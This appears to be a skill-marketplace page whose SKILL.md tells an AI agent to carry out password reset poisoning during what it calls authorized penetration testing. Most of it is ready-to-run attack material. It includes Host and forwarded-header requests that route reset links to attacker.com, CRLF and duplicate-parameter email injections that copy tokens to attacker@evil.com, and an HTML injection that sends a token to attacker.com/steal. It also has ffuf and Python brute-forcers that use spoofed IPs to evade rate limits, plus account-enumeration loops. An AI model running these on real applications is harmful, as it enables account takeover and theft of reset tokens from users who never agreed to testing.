用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill password-reset-poisoning命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | password-reset-poisoning |
| description | Exploit password reset vulnerabilities during authorized penetration testing. |
| keywords | ["password reset poisoning","password reset bypass","forgot password bypass","reset token theft","host header poisoning","password reset token","account recovery bypass","reset link manipulation","password reset email injection","token prediction","reset token leakage"] |
| tools | ["burpsuite","curl","ffuf"] |
| opsec | low |
You are helping a penetration tester exploit password reset vulnerabilities. The target application has a password reset flow (forgot password → email → reset link) that may be vulnerable to token theft, host header manipulation, email injection, or weak token generation. The goal is to intercept or predict reset tokens to achieve account takeover. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[password-reset-poisoning] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
/forgot-password, /reset-password,
/account/recovery)Map the password reset flow.
https://target.com/reset?token=abc123def456
https://target.com/reset/abc123def456
https://target.com/reset?token=abc123&email=user@target.com
Key questions:
The most common password reset vulnerability — the application uses the Host header to generate the reset link URL.
# Replace Host header with attacker domain
POST /reset-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
If the victim receives: https://attacker.com/reset?token=TOKEN — the
attacker captures the token when the victim clicks the link.
# Keep original Host, add X-Forwarded-Host
POST /reset-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
Test each of these — different frameworks honor different headers:
X-Forwarded-Host: attacker.com
X-Original-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com
Host: target.com
Host: attacker.com
Some load balancers pass the first, some the last. The application may use a different one than the proxy validated.
Host: target.com:@attacker.com
Host: target.com#@attacker.com
Host: attacker.com/target.com
POST https://target.com/reset-password HTTP/1.1
Host: attacker.com
When the request line contains an absolute URL, some servers use the Host header for link generation instead of the URL.
If the reset page loads external resources, the token leaks in the Referer header.
# Check what external resources the reset page loads
curl -s "https://target.com/reset?token=TEST" | \
grep -oP 'src="https?://[^"]*"' | grep -v "target.com"
If the reset page loads resources from a domain you control (CDN, analytics, social widget), the token arrives in your server logs via the Referer header.
If not, chain with an open redirect or XSS on the reset page to force navigation to your server.
Manipulate the email parameter to receive the reset token at an attacker-controlled address.
# Two email parameters — some backends send to both
email=victim@target.com&email=attacker@evil.com
# Inject Cc/Bcc headers via CRLF
email=victim@target.com%0a%0dcc:attacker@evil.com
email=victim@target.com%0a%0dbcc:attacker@evil.com
email=victim@target.com%0d%0acc:attacker@evil.com
# Various separators that may be parsed as multiple addresses
email=victim@target.com,attacker@evil.com
email=victim@target.com%20attacker@evil.com
email=victim@target.com|attacker@evil.com
{"email": ["victim@target.com", "attacker@evil.com"]}
# Some validators accept subaddressing
email=victim@target.com@attacker.com
email=victim+attacker@target.com
Analyze the token for predictability or reuse.
Request 20+ reset tokens for your test account and compare:
# Request multiple tokens and collect them
for i in $(seq 1 20); do
curl -s -X POST "https://target.com/reset-password" \
-d "email=testuser@target.com" > /dev/null
sleep 1
done
# Check email for tokens
Use Burp Sequencer: right-click the reset request → Send to Sequencer → select the token → Start live capture.
Look for:
| Pattern | Example | Exploitable? |
|---|---|---|
| Numeric sequential | 1001, 1002, 1003 | Trivially predictable |
| Timestamp-based | base64(userid + timestamp) | Predictable with narrow window |
| MD5 of email | md5(victim@target.com) | Static — compute once, reuse forever |
| MD5 of user ID | md5(123) | Enumerable |
| UUID v1 | 95f6e264-bb00-11ec-... | Timestamp + machine — partially predictable |
| Short random | a3f8 (4 chars) | Brute-forceable |
# Request reset, capture token T1
# Request reset again — does T1 still work?
# Use T1 to reset password — does T1 work again after use?
curl -s -X POST "https://target.com/reset-confirm" \
-d "token=T1&password=NewPass123"
# If 200 OK → token reusable (should be single-use)
# Request reset, wait various intervals, try token
# Tokens should expire within 15-60 minutes
# Wait 2 hours
sleep 7200
curl -s -X POST "https://target.com/reset-confirm" \
-d "token=OLD_TOKEN&password=NewPass123"
# If accepted → token lifetime too long
If tokens are short or have limited character sets, brute-force them.
# 4-digit numeric token (10,000 combinations)
ffuf -u "https://TARGET/reset-confirm" \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "token=FUZZ&password=NewPass123" \
-w <(seq -w 0000 9999) \
-mc 200,302 \
-rate 50
import requests
import random
url = "https://TARGET/reset-confirm"
target_email = "victim@target.com"
for token in range(10000):
headers = {
"X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
}
data = {
"token": f"{token:04d}",
"email": target_email,
"password": "NewPass123!"
}
r = requests.post(url, data=data, headers=headers)
if r.status_code == 200 and "success" in r.text.lower():
print(f"[+] Valid token: {token:04d}")
break
Test if the reset flow relies on client-side validation.
Intercept the response in Burp and change:
403 Forbidden → 200 OK{"success": false} → {"success": true}{"error": "Invalid token"} → {"error": ""}If the application only checks the response status/body client-side and doesn't validate server-side, the password change may succeed.
If the reset flow redirects on success:
Location: /reset?error=invalid to Location: /dashboardThe reset endpoint often leaks whether an account exists.
# Valid account
curl -s -X POST "https://TARGET/reset-password" \
-d "email=admin@target.com" -o /dev/null -w "%{http_code} %{size_download}"
# Invalid account
curl -s -X POST "https://TARGET/reset-password" \
-d "email=nonexist@target.com" -o /dev/null -w "%{http_code} %{size_download}"
# Compare: status code, response size, response time, error message
# Valid email triggers DB lookup + email send (slower)
# Invalid email returns immediately (faster)
for email in admin root user test; do
echo -n "${email}@target.com: "
curl -s -X POST "https://TARGET/reset-password" \
-d "email=${email}@target.com" \
-o /dev/null -w "%{time_total}s\n"
done
If user-controllable content appears in the reset email (username, display name), inject HTML to exfiltrate the token:
<!-- Inject into username/display name field -->
<img src='https://attacker.com/steal?token=
<!-- The token following this tag in the email gets sent as the img src -->
# Register with unicode variant of victim's email
# vićtim@gmail.com normalizes to victim@gmail.com on some platforms
# If the app normalizes after lookup but before sending:
# Reset request for vićtim@gmail.com → sent to victim@gmail.com
# But token is associated with attacker's account
# Complete a password reset flow
# Check if 2FA is still enforced on next login
# If 2FA is disabled after reset → chain with host header poisoning
# for full account takeover bypassing 2FA
# Capture victim's session cookie (via XSS, MITM, etc.)
# Victim resets their password
# Try the old session — does it still work?
curl -s -H "Cookie: session=OLD_SESSION_COOKIE" \
"https://TARGET/account"
# If 200 OK → sessions not invalidated on password reset
After confirming password reset vulnerabilities:
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: confirmed technique, token format, affected endpoint, and impact assessment.
sendmail (parameter injection possible)